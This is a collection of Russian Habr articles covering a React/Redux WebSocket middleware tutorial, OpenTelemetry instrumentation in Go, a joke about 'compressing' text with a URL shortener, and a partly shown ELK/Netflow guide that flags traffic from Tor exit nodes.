Проверяем и видим, что все пошло не так. В консоли постоянные `SOCKETS_CONNECTING` и `SOCKETS_DISCONNECTING`. Закрываем вкладку или браузер.
Подробнее. Мидлваре "слушает" стор на предмет экшенов `store => next => action =>` и включается в обработку, когда находит свой экшен `SOCKETS_CONNECTING`. Далее по коду идет вызов экшена `store.dispatch(SocketExampleActions.socketsConnecting());`, который в свою очередь вызывает экшен `SOCKETS_CONNECTING`, который ловит мидлваре и т.д.
Вывод простой — экшены для мидлеваре должны быть всегда отдельными от экшенов, которые происходят на стороне клиентов.
Как быть дальше.
Наш вариант (я думаю он не один) будет таким:
* пользователь будет вызывать нажатием кнопки экшены мидлвара,
* который будет вызывать уже "интерфейсные" экшены.
Что на практике будет означать
* `SOCKETS_CONNECT` вызывается пользователем
* при его обработке будет вызываться `SOCKETS_CONNECTING`,
* который будет уже обновлять стор и соответствующим образом представлять действие на стороне клиента.
Давайте исправим все это.
Во-первых, нам не хватает экшенов.
Дополняем наши 2 экшена новыми в файле `src\redux\modules\socketexamplemodule.js`.
```
export const SOCKETS_CONNECTING = 'SOCKETS_CONNECTING';
export const SOCKETS_CONNECT = 'SOCKETS_CONNECT';
export const SOCKETS_DISCONNECTING = 'SOCKETS_DISCONNECTING';
export const SOCKETS_DISCONNECT = 'SOCKETS_DISCONNECT';
```
И объявим функции они нам пригодятся.
```
export function socketsConnecting() {
return {type: SOCKETS_CONNECTING};
}
export function socketsConnect() {
return {type: SOCKETS_CONNECT};
}
export function socketsDisconnecting() {
return {type: SOCKETS_DISCONNECTING};
}
export function socketsDisconnect() {
return {type: SOCKETS_DISCONNECT};
}
```
Теперь нужно дать возможность пользователю запускать данные действия. По идеи нужно лезть в `./src/components/SocketExampleComponents/SocketConnectionLog.jsр`, но на самом деле управляющие функции ему передают через компонент react. Поэтому правим сначала `./src/containers/SocketExample/SocketExamplePage.js`.
```
static propTypes = {
loaded: PropTypes.bool,
message: PropTypes.string,
connected: PropTypes.bool,
history: PropTypes.array,
socketsConnecting: PropTypes.func,
socketsDisconnecting: PropTypes.func,
//HERE
socketsConnect: PropTypes.func,
socketsDisconnect: PropTypes.func
}
render() {
//HERE
const {loaded, message, connected, socketsConnecting, socketsDisconnecting, history, socketsConnect, socketsDisconnect} = this.props;
return (
Socket Exapmle Page
===================
);
}
```
Возвращаемся к `./src/redux/middleware/SocketExampleMiddleware.js` и наводим порядок.
Изменяем один кейс
```
case 'SOCKETS_CONNECT':
```
Добавляем кейс на обработку отключения:
```
case 'SOCKETS_DISCONNECT':
if (socketExample !== null) {
console.log('SOCKETS_DISCONNECTING');
store.dispatch(socketExampleActions.socketsDisconnecting());
socketExample.close();
}
socketExample = null;
break;
```
Для того, чтобы иметь возможность запускать пользовательские экшены при событии disconnect передаем в системное событие также сам стор.
```
socketExample.onclose = onClose(store);
```
и изменяем сам обработчик
```
const onClose = (store) => evt => {
console.log('WS is onClose');
console.log('evt ' + evt.data);
store.dispatch(socketExampleActions.socketsDisconnect());
};
```
Ну вроде все — проверяем. Нужно использовать закладку Network или ее аналог в вашем браузере, чтобы увидеть подключения к веб сокетам.
Для тестирования давайте проверим, что будет если мы на самом деле не смогли подключиться к сокетам.
```
socketExample = new WebSocket('ws://echo.websocket.org123/');
```
Подробнее. Эта проверка связана с тем, что обработка событий у нас идет в асинхронном режиме. Мы не знаем в каком порядке от сокета нам будут прилетать события — последовательно, в обратном порядке или парами. Наш код должен быть способным корректно обрабатывать любые варианты.
Попробуйте самостоятельно переместить `store.dispatch(socketExampleActions.socketsDisconnect());` из метода `onClose` в кейс редюсера и посмотреть что же изменится.
Коммит: <https://github.com/valentinmk/react-redux-universal-hot-example/commit/7569536048df83f7e720b000243ed9798308df20>
### Проход второй. Делаем сообщения
Все аналогично первой части второго прохода.
Добавляем экшены в `./src/redux/modules/socketexamplemodule.js`
```
export const SOCKETS_MESSAGE_SENDING = 'SOCKETS_MESSAGE_SENDING';
export const SOCKETS_MESSAGE_SEND = 'SOCKETS_MESSAGE_SEND';
export const SOCKETS_MESSAGE_RECEIVING = 'SOCKETS_MESSAGE_RECEIVING';
export const SOCKETS_MESSAGE_RECEIVE = 'SOCKETS_MESSAGE_RECEIVE';
```
Добавляем обработчики
```
export function socketsMessageSending(sendMessage) {
return {type: SOCKETS_MESSAGE_SENDING, message_send: sendMessage};
}
export function socketsMessageSend(sendMessage) {
return {type: SOCKETS_MESSAGE_SEND, message_send: sendMessage};
}
export function socketsMessageReceiving(receiveMessage) {
return {type: SOCKETS_MESSAGE_RECEIVING, message_receive: receiveMessage};
}
```
Стоп. Почему не 4 обработчика? Подробнее. Нам, на самом деле, нам не нужна обработка socketsMessageReceive, потому что пользователю не нужно вмешиваться в процесс получения сообщения. Хотя на будущее этим событием мы можем отмечать факт отображения сообщения у пользователя в его интерфейсе, т.е. тот самый признак "прочитано" (но это за пределами этой статьи).
#### Прием сообщения
Переходим к описанию обработки событий от сокета в файле `./src/redux/middleware/socketExampleMiddleware.js`.
В нашем обработчике получаем событие от сокета, извлекаем из него сообщение и передаем в стор через экшен.
```
const onMessage = (ws, store) => evt => {
// Parse the JSON message received on the websocket
const msg = evt.data;
store.dispatch(SocketExampleActions.socketsMessageReceiving(msg));
};
```
```
case 'SOCKETS_CONNECT':
if (socketExample !== null) {
console.log('SOCKETS_DISCONNECTING');
store.dispatch(SocketExampleActions.socketsDisconnecting());
socket.close();
}
console.log('SOCKETS_CONNECTING');
socketExample = new WebSocket('wss://echo.websocket.org/');
store.dispatch(SocketExampleActions.socketsConnecting());
socketExample.onmessage = onMessage(socketExample, store);
socketExample.onclose = onClose(store);
socketExample.onopen = onOpen(action.token);
break;
```
#### Отправка сообщения
В самом мидлваре пишем редюсер.
```
case 'SOCKETS_MESSAGE_SEND':
socketExample.send(action.message_send);
store.dispatch(SocketExampleActions.socketsMessageSending(action.message_send));
break;
```
Подробнее. `action.message_send` — это о чем? Все, что мы кладем в стор появляется в процессе обработки `store => next => action =>` в этих переменных. Когда мы запускаем экшен, то в этой переменной передается все с чем мы этот экшен запустили.
Давайте реализуем как в экшене появится сообщение.
Правим файл `./src/components/SocketExampleComponents/SocketMessageLog.js`, чтобы получить возможность запускать экшен от пользователя.
```
static propTypes = {
loaded: PropTypes.bool,
message: PropTypes.string,
connected: PropTypes.bool,
message_history: PropTypes.array,
socketsMessageSend: PropTypes.func
}
```
Да, нам не нужны экшены получения и отправки, мы будем их запускать из мидлваре.
```
handleSendButton = (event) => {
event.preventDefault();
this.props.socketsMessageSend(this.refs.message_text.value);
this.refs.message_text.value = '';
}
```
Подробнее. Мы получим новые сообщения сразу их стора по факту в переменной `message_history` и react на сразу отрисует их. Для того, чтобы отправить сообщение мы вызываем экщен мидлваре `this.props.socketsMessageSend(this.refs.message_text.value)`, тем самым в `action` мы передаем наше сообщение, которое обрабывается редюсером мидлваре `SOCKETS_MESSAGE_SEND`, который в свою очередь вызывает событие `SOCKETS_MESSAGE_SENDING`, которое обрабатывается и отрисовывается интефейсным редюсером.
Запускаем. Проверяем.
Финиш!
> [Заметки на полях] Оглянитесь, вспомните себя в начале этой статьи. Сейчас вы сможете развернуть и быстро создать интерфейс к вашему бэкэнду с получением и обработкой данных в реальном времени. Если у вас появились интересные задумки, не откладывайте — делайте.
>
>
>
> [Заметки на полях] А вдруг я это все не зря.
Коммит: <https://github.com/valentinmk/react-redux-universal-hot-example/commit/40fd0b38f7a4b4acad141997e1ad9e7d978aa3b3>
PS
==
Рабочая копия данного материала размещена [тут](https://www.gitbook.com/book/valentinmk/react-redux-socket-tutorial). | https://habr.com/ru/post/318148/ | null | ru | null |
# OpenTelemetry на практике
Совсем недавно два стандарта – OpenTracing и OpenCensus – окончательно объединились в один. Появился новый стандарт распределенного трейсинга и мониторинга – OpenTelemetry. Но несмотря на то, что разработка библиотек идет полным ходом, реального опыта его использования пока не слишком много.
Илья Казначеев [color](https://habr.com/ru/users/color/), который занимается разработкой восемь лет и работает backend-разработчиком в МТС, готов поделиться тем, как применять OpenTelemetry в Golang-проектах. На конференции Golang Live 2020 он рассказал о том, как настроить использование нового стандарта для трейсинга и мониторинга и подружить его с уже существующей в проекте инфраструктурой.
OpenTelemetry – стандарт, который появился относительно недавно: в конце прошлого года. При этом он получил широкое распространение и поддержку множества вендоров ПО для трейсинга и мониторинга.
Observability, или наблюдаемость, – термин из теории управления, который определяет, насколько можно судить о внутреннем состоянии системы по ее внешним проявлениям. В системной же архитектуре это обозначает набор подходов к наблюдению за состоянием системы в рантайме. К таким подходам относятся логирование, трейсинг и мониторинг.
Для трейсинга и мониторинга существует множество вендорских решений. До недавнего времени было два открытых стандарта: OpenTracing от CNCF, который появился в 2016, и Open Census от Google, появившийся в 2018.
Это два довольно неплохих стандарта, которые конкурировали между собой некоторое время, пока в 2019 году они не решили объединиться в один новый стандарт, который называется OpenTelemetry.
Этот стандарт включает в себя распределенный трейсинг и мониторинг. Он совместим с первыми двумя. Более того, OpenTracing и Open Census прекращают поддержку в течение двух лет, что неотвратимо приближает нас к переходу на OpenTelemetry.
**Сценарии использования**
Стандарт предполагает широкие возможности совмещения всего со всем и является по сути активной прослойкой между источниками метрик и трейсов и их потребителями.
Давайте взглянем на основные сценарии.
Для распределенного трейсинга можно напрямую настроить подключение к Jaeger или к тому сервису, который вы используете.
Если трейсинг транслируется напрямую, можно использовать config и просто заменить библиотеку.
В случае, если ваше приложение уже использует OpenTracing, можно воспользоваться OpenTracing Bridge – оберткой, которая будет конвертировать запросы к OpenTracing API в OpenTelemetry API на верхнем уровне.
Для сбора метрик также можно настроить прямой доступ в Prometheus к порту для сбора метрик вашего приложения.
Это пригодится, если у вас простая инфраструктура, и вы собираете метрики напрямую. Но стандарт предоставляет и более гибкие возможности.
Основной сценарий использования стандарта – это сбор метрик и трейсов через коллектор, который также запускается отдельным приложением либо контейнером в вашу инфраструктуру. Кроме того, можно взять готовый контейнер и установить его у себя.
Для этого достаточно настроить в приложении экспортер в формате OTLP. Это grpc-схема для передачи данных в формате OpenTracing. Со стороны коллектора можно настроить формат и параметры экспорта метрик и трейсов конечным потребителям, либо в другие форматы. Например, в OpenCensus.
Коллектор позволяет подключать большое количество видов источников данных и множество приемников данных на выходе.
Таким образом, стандарт OpenTelemetry обеспечивает совместимость с многими открытыми и вендорскими стандартами.
Стандартный коллектор расширяем. Поэтому у большинства вендоров уже готовы экспортеры в их собственные решения, если они есть. Вы можете использовать OpenTelemetry, даже если применяете сбор метрик и трейсов от какого-то закрытого вендора. Таким образом решается проблема с vendor lock-in. Даже если что-то еще не появилось непосредственно для OpenTelemetry, это можно пробросить через OpenCensus.
Сам коллектор очень просто конфигурируется через банальный YAML конфиг:
Здесь указываются ресиверы. В вашем приложении может быть какой-то другой источник (Kafka и т.д.):
Экспортеры – получатели данных.
Процессоры – методы обработки данных внутри коллектора:
И pipelines, которые непосредственно определяют, как будет обрабатываться каждый поток данных, который протекает внутри коллектора:
Давайте рассмотрим один показательный пример.
Допустим, у вас есть некий микросервис, к которому вы уже прикрутили OpenTelemetry и настроили его. И еще один сервис с аналогичной фрагментацией.
Пока все легко. Но появляются:
* legacy-сервисы, которые работают через OpenCensus;
* база данных, которая отдает данные в своем формате (например, напрямую в Prometheus, как это делает PostgreSQL);
* еще какой-то сервис, работающий в контейнере и отдающий метрики в своем формате. Вам не хочется перебилдить этот контейнер и прикручивать sidecars, чтобы они переформатировали метрики. Вы хотите просто брать и отправлять их.
* железо, с которого вы тоже собираете метрики и хотите как-то использовать их.
Все эти метрики можно объединить одним коллектором.
Уже сейчас он поддерживает множество источников метрик и трейсов, которые используются в существующих приложениях. А на случай, если вы используете что-то экзотическое, можно реализовать собственный плагин. Но вряд ли это понадобится на практике. Потому что приложения, которые экспортируют метрики или трейсы, так или иначе используют либо какие-то распространенные стандарты, либо открытые стандарты типа OpenCensus.
Теперь мы хотим использовать эту информацию. В качестве экспортера трейсов можно указать Jaeger, а метрики отправлять в Prometheus, или что-то совместимое. Допустим, всеми любимую VictoriaMetrics.
Но что, если мы вдруг решили переехать в AWS и использовать местный трейсер X‑Ray? Не проблема. Это можно пробросить через OpenCensus, в котором есть экспортер для X‑Ray.
Таким образом, из этих кусков можно собрать всю вашу инфраструктуру для метрик и трейсов.
С теорией покончено. Поговорим о том, как использовать трейсинг на практике.
**Инструментация Golang приложения: трейсинг**
Сначала нужно создать корневой span, от которого и будет расти дерево вызовов.
```
ctx := context.Background()
tr := global.Tracer("github.com/me/otel-demo")
ctx, span := tr.Start(ctx, "root")
span.AddEvent(ctx, "I am a root span!")
doSomeAction(ctx, "12345")
span.End()
```
Здесь указывается название вашего сервиса или библиотеки. В трейсе таким образом можно определить spans, которые лежат именно в рамках вашего приложения, и те, которые пошли в импортированные библиотеки.
Дальше создается корневой span с указанием названия:
```
ctx, span := tr.Start(ctx, "root")
```
Выбирайте название, которое будет внятно описывать уровень трейса. Например, это может быть либо название метода (или класса и метода), либо слой архитектуры. Например, инфраструктурный уровень, уровень логики, уровень баз данных и т.д.
Данные о span также кладутся в контекст:
```
ctx, span := tr.Start(ctx, "root")
span.AddEvent(ctx, "I am a root span!")
doSomeAction(ctx, "12345")
```
Поэтому в контекст нужно передавать методы, которые вы хотите трейсить.
Span представляет собой процесс на определенном уровне дерева вызова. В него можно положить атрибуты, логи и статусы ошибки, в случае ее возникновения. Span обязательно закрывать в конце. При закрытии рассчитывается его длительность.
```
ctx, span := tr.Start(ctx, "root")
span.AddEvent(ctx, "I am a root span!")
doSomeAction(ctx, "12345")
span.End()
```
Так наш span выглядит в Jaeger:
Его можно развернуть и посмотреть логи и атрибуты.
Далее можно получить тот же span из контекста, если не хочется задавать новый. Например, вы хотите писать один архитектурный слой в один span, а слой у вас разбросан по нескольким методам и нескольким уровням вызова. Вы его получаете, пишете в него, и потом он закрывается.
```
func doSomeAction(ctx context.Context, requestID string) {
span := trace.SpanFromContext(ctx)
span.AddEvent(ctx, "I am the same span!")
...
}
```
Обратите внимание, что закрывать здесь его не нужно, потому что он закроется в том же методе, где был создан. Мы просто берем его из контекста.
Записываем сообщение в корневой span:
Иногда нужно создать новый дочерний span, чтобы он существовал отдельно.
```
func doSomeAction(ctx context.Context, requestID string) {
ctx, span := global.Tracer("github.com/me/otel-demo").
Start(ctx, "child")
defer span.End()
span.AddEvent(ctx, "I am a child span!")
...
}
```
Здесь мы получаем глобальный трейсер по имени библиотеки. Этот вызов можно обернуть в какой-нибудь метод, либо использовать глобальную переменную, потому что во всем вашем сервисе он будет одинаков.
Дальше создается дочерний span из контекста, и ему присваивается имя по аналогии с тем, как мы делали это в начале:
```
Start(ctx, "child")
```
Не забудьте, что span нужно закрыть в конце метода, в котором он был создан.
```
ctx, span := global.Tracer("github.com/me/otel-demo").
Start(ctx, "child")
defer span.End()
```
Пишем в него сообщения, которые попадают в дочерний span.
Здесь видно, что сообщения отображаются иерархически, и дочерний span находится под родительским. Он ожидаемо короче, потому что это был синхронный вызов.
В нем показываются атрибуты, которые можно писать в span:
```
func doSomeAction(ctx context.Context, requestID string) {
...
span.SetAttributes(label.String("request.id", requestID))
span.AddEvent(ctx, "request validation ok")
span.AddEvent(ctx, "entities loaded", label.Int64("count", 123))
span.SetStatus(codes.Error, "insertion error")
}
```
Например, сюда попал наш request. id:
Можно добавлять events:
```
span.AddEvent(ctx, "request validation ok")
```
Кроме того, сюда можно добавлять label. Это работает примерно также, как структурный лог в виде logrus:
```
span.AddEvent(ctx, "entities loaded", label.Int64("count", 123))
```
Здесь мы видим свое сообщение в логе span. Можно развернуть его и посмотреть labels. В нашем случае сюда добавился label count:
Потом это будет удобно использовать при фильтрации в поиске.
Если возникла ошибка, в span можно дописать статус. В этом случае он будет помечен как ошибочный.
```
span.SetStatus(codes.Error, "insertion error")
```
Раньше стандарт использовал коды ошибок из OpenCensus, и они были из grpc. Сейчас оставили только OK, ERROR и UNSET. OK ставится по умолчанию, ERROR в случае ошибки добавляете вы.
Здесь видно, что трейс ошибки помечен красным значком. Есть код ошибки и сообщение о ней:
Нужно не забывать о том, что трейсинг – это не замена логов. Основной смысл в том, чтобы отслеживать протекание информации через распределенную систему, а для этого нужно класть трейсы в сетевые запросы и уметь читать их оттуда.
**Трейсинг микросервисов**
В OpenTelemetry уже есть множество set party реализаций interceptors и middleware для различных фреймворков и библиотек. Их можно найти в репозитории: [github.com/open-telemetry/opentelemetry-go-contrib](https://github.com/open-telemetry/opentelemetry-go-contrib)
Список фреймворков, для которых есть interceptors и middleware:
* beego
* go-restful
* gin
* gocql
* mux
* echo
* http
* grpc
* sarama
* memcache
* mongo
* macaron
Как это использовать, посмотрим на примере стандартного http клиента и сервера.
*middleware client*
В клиенте просто добавляем interceptor в качестве транспорта, после чего наши запросы обогащаются на trace.id и необходимую для продолжения трейса информацию.
```
client := http.Client{
Transport: otelhttp.NewTransport(http.DefaultTransport),
}
req, _ := http.NewRequestWithContext(ctx, "GET", url, nil)
resp, err := client.Do(req)
```
*middleware server*
На сервере добавляется небольшой middleware с названием библиотеки:
```
http.Handle("/", otelhttp.NewHandler(
http.HandlerFunc(get), "root"))
err := http.ListenAndServe(addr, nil)
```
Дальше как обычно: получаете span из контекста, работаете с ним, пишите в него что-то, создаете дочерние spans, закрываете их и т.д.
Так выглядит простой запрос, проходящий через три сервиса:
На скриншоте видна иерархия вызовов, разделение на сервисы, их длительность, последовательность. На каждый из них можно кликнуть и посмотреть более подробную информацию.
А так выглядит ошибка:
Легко отследить, где она произошла, когда и сколько времени прошло.
В span можно посмотреть подробную информацию о контексте, в котором произошла ошибка:
Более того, поля, которые относятся ко всему span (различные id запроса, ключевые поля в таблице в запросе, еще какие-то мета данные, которые вы хотите положить) можно вкладывать в span при его создании. Грубо говоря, не нужно копипастить все эти поля в каждое место, где вы обрабатываете ошибку. Можно записать данные о ней в span.
*middleware func*
Вот небольшой бонус: как сделать middleware, чтобы можно было использовать его в качестве глобального middleware для таких вещей как Gorilla и Gin:
```
middleware := func(h http.Handler) http.Handler {
return otelhttp.NewHandler(h, "root")
}
```
**Инструментация Golang приложения: мониторинг**
Пришло время поговорить о мониторинге.
Подключение к системе мониторинга настраивается аналогично тому, что делается для трейсинга.
Измерения делятся на два типа:
1. Синхронные, когда пользователь явно передает значения в момент вызова:
* Counter
* UpDownCounter
* ValueRecorder
int64, float64
2. Асинхронные, которые SDK считывает в момент коллекта данных из приложения:
* SumObserver
* UpDownSumObserver
* ValueObserver
int64, float64
Сами метрики бывают:
* Аддитивные и монотонные (Counter, SumObserver), которые суммируют положительные числа, и они не уменьшаются.
* Аддитивные, но не монотонные (UpDownCounter, UpDownSumObserver), которые могут суммировать положительные и отрицательные числа.
* Неаддитивные (ValueRecorder, ValueObserver), которые просто записывают последовательность значений. Например, какое-то распределение.
В начале программы создается глобальный измеритель, которому указывается название библиотеки или сервиса.
```
meter := global.Meter("github.com/ilyakaznacheev/otel-demo")
floatCounter := metric.Must(meter).NewFloat64Counter(
"float_counter",
metric.WithDescription("Cumulative float counter"),
).Bind(label.String("label_a", "some label"))
defer floatCounter.Unbind()
```
Дальше создается метрика:
```
floatCounter := metric.Must(meter).NewFloat64Counter(
"float_counter",
metric.WithDescription("Cumulative float counter"),
).Bind(label.String("label_a", "some label"))
```
Ей указывается название:
```
"float_counter",
```
Описание:
```
…
metric.WithDescription("Cumulative float counter"),
…
```
Набор лейблов, по которым вы потом можете фильтровать запросы. Например, при построении дашбордов в Grafana:
```
…
).Bind(label.String("label_a", "some label"))
…
```
В конце программы также нужно вызвать Unbind для каждой метрики, что освободит ресурсы и правильно ее закроет:
```
…
defer floatCounter.Unbind()
…
```
Записывать изменения просто:
```
var (
counter metric.BoundFloat64Counter
udCounter metric.BoundFloat64UpDownCounter
valueRecorder metric.BoundFloat64ValueRecorder
)
...
counter.Add(ctx, 1.5)
udCounter.Add(ctx, -2.5)
valueRecorder.Record(ctx, 3.5)
```
Это положительные числа для Counter, любые числа для UpDownCounter, которые он будет суммировать, и также любые числа для ValueRecorder. Для всех видов инструментов в Go поддерживаются int64 и float64.
Вот что мы получаем на выходе:
```
# HELP float_counter Cumulative float counter
# TYPE float_counter counter
float_counter{label_a="some label"} 20
```
Это наша метрика с комментарием и заданным лейблом. Потом можно ее взять либо напрямую через Prometheus, либо экспортировать через OpenTelemetry коллектор, и дальше использовать там, где нам нужно.
**Инструментация Golang приложения: библиотеки**
Последнее, о чем хочется сказать – это возможность, которую стандарт дает для инструментирования библиотек.
Раньше, когда использовались OpenCensus и OpenTracing, вы не могли инструментировать ваши отдельные библиотеки, особенно опенсорсные. Потому что в этом случае у вас получался vendor lock-in. Тот, кто плотно работал с трейсингом, наверняка обращал внимание на то, что большие клиентские библиотеки, или крупные API к облачным сервисам, время от времени падают с трудно объяснимыми ошибками.
Тут бы очень пригодился трейсинг. Особенно в продуктиве, когда у вас происходит какая-то неясная ситуация, и очень хотелось бы знать, почему она произошла. Но все, что у вас есть – это сообщение об ошибке из вашей импортированной библиотеки.
OpenTelemetry решает эту проблему.
Так как в стандарте SDK и API разделены, API трейсинга метрик можно использовать независимо от SDK и конкретных настроек экспорта данных. Более того, вы можете сначала инструментировать свои методы, а только потом настроить экспорт этих данных вовне.
Таким образом можно инструментировать импортируемую библиотеку, не заботясь о том, как и куда будут экспортированы эти данные. Это подойдет и для внутренних, и для открытых опенсорсных библиотек.
Не нужно заботиться о vendor lock-in, не нужно переживать по поводу того, как будет использована эта информация и будет ли использована вообще. Библиотеки и приложения инструментируются заранее, а конфигурация экспорта данных указывается при инициализации приложения.
Таким образом видно, что настройки конфигурации задаются в SDK приложении. Дальше нужно заняться экспортерами трейсинга и метрик. Это может быть один экспортер через OTLP, если вы экспортируете в OpenTelemetry коллектор. Потом все необходимые трейсы и метрики попадают в контекст, а он пропагируется по дереву вызова другим методом вниз.
Приложение наследует от корневого span остальные spans, просто используя OpenTelemetry API и данные, которые лежат в контексте. При этом импортируемые библиотеки получают на вход методы контекст, пытаются считать из этого метода информацию о корневом span. Если его нет, создают свой, и дальше инструментируют логику. Таким образом, вы можете сначала инструментировать свою библиотеку.
Более того, вы можете инструментировать все, но не настраивать экспортеры данных, и просто задеплоить это.
У вас это может работать в проде, и пока инфраструктура не устоялась, у вас не будет настроен трейсинг и мониторинг. Потом вы настроите их, развернете там коллектор, какие-то приложения для сбора этих данных, и у вас все заработает. Вам не нужно ничего менять непосредственно в самих методах.
Таким образом, если у вас какая-то опенсорсная библиотека, вы можете инструментировать ее при помощи OpenTelemetry. Потом люди, которые ее используют, настроят у себя OpenTelemetry и будут использовать эти данные.
В заключении хочу сказать, что стандарт OpenTelemetry многообещающий. Возможно, наконец это тот самый универсальный стандарт, который мы все хотели увидеть.
У нас в компании активно применяется стандарт OpenCensus для трейсинга и мониторинга микросервисного ландшафта компании. Планируется внедрение OpenTelemetry после его релиза. | https://habr.com/ru/post/537892/ | null | ru | null |
# Сжимаем 2Кб текста в 5 байт
Привет всем Хабровчанам.
На днях придумал довольно интересный способ шифрования/упаковки/архивирования (нужное подчеркнуть) текста.
Заглядываем под кат, кому интересно как анекдот:
`Разговаривают два программиста.
- Слушай, вчера написал новый архиватор. Любой файл сжимает в 5 байт.
- Ну просто рулез!..
- Ага. Сейчас работаю над разархиватором.`
сделать реальностью…
Итак, приступаем к превращению сказки в быль!
1. Берем исходный текст который нам нужно запомнить/зашифровать/запаковать
2. Вставляем текст в поисковую строку Google/Yandex/Yahoo или любой другой поисковик
3. Выполняем поиск, а полученную длинную ссылку в адресной строке копируем в буфер обмена
4. идем на [goo.gl](http://goo.gl) и вставляем ссылку
5. жмем «Shorten»
Вуаля! Получили ссылку вида: [goo.gl/tvXo4](http://goo.gl/tvXo4), где «архив» весит ровно 5 байт!
Эти 5 символов очень легко запомнить и всегда есть возможность вернуть их обратно к первоначальному тексту.
И что важно, эти 5 байт — «tvXo4» ни один крипто-алгоритм не взломает )
P.S.
Естественно что можно использовать и другие сервисы для сокращения ссылок,
и конечно, надо иметь ввиду, что 2кБ — это максимальный размер URL, а не текста в строке, но идею вы конечно же поняли ;)
Всем доброго дня, пользуйтесь на здоровье! | https://habr.com/ru/post/108666/ | null | ru | null |
# Анализ комуникации из Tor сети в инфраструктуру с помощью ELK стека
ElasticSeach достаточно гибкая платформа, и полученные в него данные можно обрабатывать многими способами, даже за пределами стека ELK. Для этого предоставлено более десятка различных API. Но для многих задач будет достаточно и возможностей Kibana.
Одной из таких я хотел бы поделиться с сообществом. Для меня, как и любого безопасника, важно видеть и понимать коммуникацию своей инфраструктуры с внешним миром. Одной из самых интересных является коммуникация с луковой сетью (Tor).
Конечно же ELK стеком все не ограничивается, это лишь инструмент для хранения и обработки информации. Эффективность продукта на его базе определяется данными, которые нужно где-то взять. В моем случае это сырые Netflow данные, принятые напрямую из сетевого устройства, без предварительной обработки более умным коллектором. У этого подхода есть свои плюсы и минусы, но не об этом.
Для примера, на выходе получаем примерно следующую информацию:
Хотелось бы отметить, что в данном примере отображены только самые интересные поля, бОльшая часть информации, полученной посредством Netflow, опущена. Один из главных плюсов, на мой взгляд, тот, что есть возможность оперировать данными о количестве трафика в потоке.
#### Создаем фильтр
Уже на этом этапе хотелось бы оговориться, что в вопросе о коммуникации с Tor сетью есть один нюанс. К сожалению, у Вас и у меня есть возможность идентифицировать только трафик ИЗ сети Tor, но не В нее. Сообщество torprojects.org приводит только список Exit узлов, и мне повстречалось несколько топиков на тему того, что список Entry узлов не может быть однозначно идентифицирован.
В сети фигурируют списки, которые якобы описывают и входящие Tor ноды, но никакой достоверности у этой информации к сожалению нет. В свою очередь доверенный список Exit узлов доступен по этой ссылке: <https://check.torproject.org/exit-addresses>. В результате работаем только с трафиком ИЗ Tor.
Теперь о том, как использовать эту информацию внутри ELK. Что бы из всего потока данных отсеять именно трафик из Tor сети, можно создать фильтр, который будет построен по следующему сценарию:
```
( '1st.Exit.Node.IP' OR '2nd.Exit.Node.IP' OR .... 'Last.Exit.Node.IP' ) AND my_regex
```
По необходимости, после 'AND' добавляем уточнения фильтру. Для проверки работоспособности фильтра можно мануально создать конструкцию (Exit узлов с ' OR ' посередине) средствами bash и просто через clipboard проверить, верно ли функционирует поиск:
```
curl -XGET https://check.torproject.org/exit-addresses | egrep -o '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | sed -e ':a' -e 'N' -e '$!ba' -e 's/\n/ OR /g'
```
Список получается большым, по этому настройка ElasticSearch по умолчанию может ругнуться, что мы использует слишком много булеан операторов, по этому увеличиваем лимит в /etc/elastcisearch/elasticsearch.yml следующей настройкой и перезагружаем демон:
```
indices.query.bool.max_clause_count: 2048
```
Сила ElasticSearch в том, что он быстро фильтрует запрашиваемую информацию, поэтому результат получаем довольно быстро. Сохраняем как Search в Kibana и пользуемся. По идее мы добились поставленной задачи — коммуникация из луковых сетей у вас перед глазами.
Скорее всего, в течение часа это считаные потоки, но каждый, из которых интересен:
#### Обновляем фильтр
Проблема в том, что список Exit узлов непостоянен, поэтому желательно обновлять его с какой-либо регулярностью. Мануальный метод не подходит. В теории можно подыскать корректную форму POST запроса на интерфейс Kibana, которая содержит в себе значение фильтра Search и его идентификатор. Таким образом, генерируя Веб запрос, обновлять список. Но есть вариант удобнее.
Kibana всю информацию о объектах хранит в этом же ElasticSearch кластере, в системном индексе '.kibana'. Там можно найти документ, который описывает ранее созданный Search запрос, содержащий список Exit узлов:
Значит, нужно всего лишь обновлять 'query' поле конкретно этого документа в соответствии с информацией check.torproject.org/exit-adresses. Для этого я накидал Python скрипт, актуальную версию которого можно найти [тут](https://github.com/dtrizna/my_ELK_scripts/blob/master/TOR_SEARCH/tor_search_update.py). Для ознакомления, под спойлером предоставляю последнюю на данный момент версию:
**скрипт**
```
#!/usr/bin/env python
# ----- README STARTS --------
#
# If anyone wants to use this script in their environment
# be sure to replace YOUR_SEARCH_ID with actual search ID
# within the curl command URL at line 70.
#
# Also 'post_body' variable at line 63 should be tuned according
# to your query, as it is build assuming there's some specific static
# expressions from the beginning and the of query.json file.
# See: https://github.com/dtrizna/my_ELK_scripts/blob/master/TOR_SEARCH/query.json
#
# Additionaly set correct path to query.json file
# at lines 65 and 70, replacing entries.
#
# ----- README ENDS ----------
import re
import requests
import subprocess
# -------------------------
# GET THE LIST WITH TOR EXIT NODES FROM TORPROJECT WEB PAGE
nodes_raw = requests.get('https://check.torproject.org/exit-addresses')
nodes_raw_list = nodes_raw.text.split()
# -------------------------
# FILTER FROM WHOLE PAGE ONLY IP ADRESSES
regex = re.compile(r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}')
nodes = filter(regex.search, nodes_raw_list)
# -------------------------
# IP ADRESSES ARE IN UNICODE FORMAT, ENCODE THEM TO STRING
search_query = ''
i = 0
while i < len(nodes):
try:
nodes[i] = nodes[i].encode('ascii')
except UnicodeEncodeError as err:
print "Error due to IP adress encoding from Unicode to ASCII."
print "UnicodeEncodeError says: {}".format(err)
i = i + 1
# -------------------------
# CREATE KIBANA SEARCH QUERY
search_query = " OR ".join(nodes)
# -------------------------
# UPDATE FILE, THAT WILL BE USED AS BODY IN UPDATE COMMAND
# (CAN'T USE DIRECTLY, ES RETURNS ERROR, WORKS ONLY THROUGH FILE USING CURL)
with open('query.json', 'r') as file:
data = file.readlines()
# 'data' is list, every element describes line in file called in above cycle
# As there's only one line(it must be onelined, for ES to accept it),
# data[0] represents all the future POST body request.
# It has fixed values from the beginning and the end of line.
# Although middle part may vary depending on request to tor website above.
post_body = data[0][:127] + search_query + data[0][-258:]
with open('query.json', 'w') as file:
file.writelines(post_body)
# -------------------------
# FINALY MAKE THE UPDATE REQUEST TO ELASTICSEARCH AND SEE REPLY
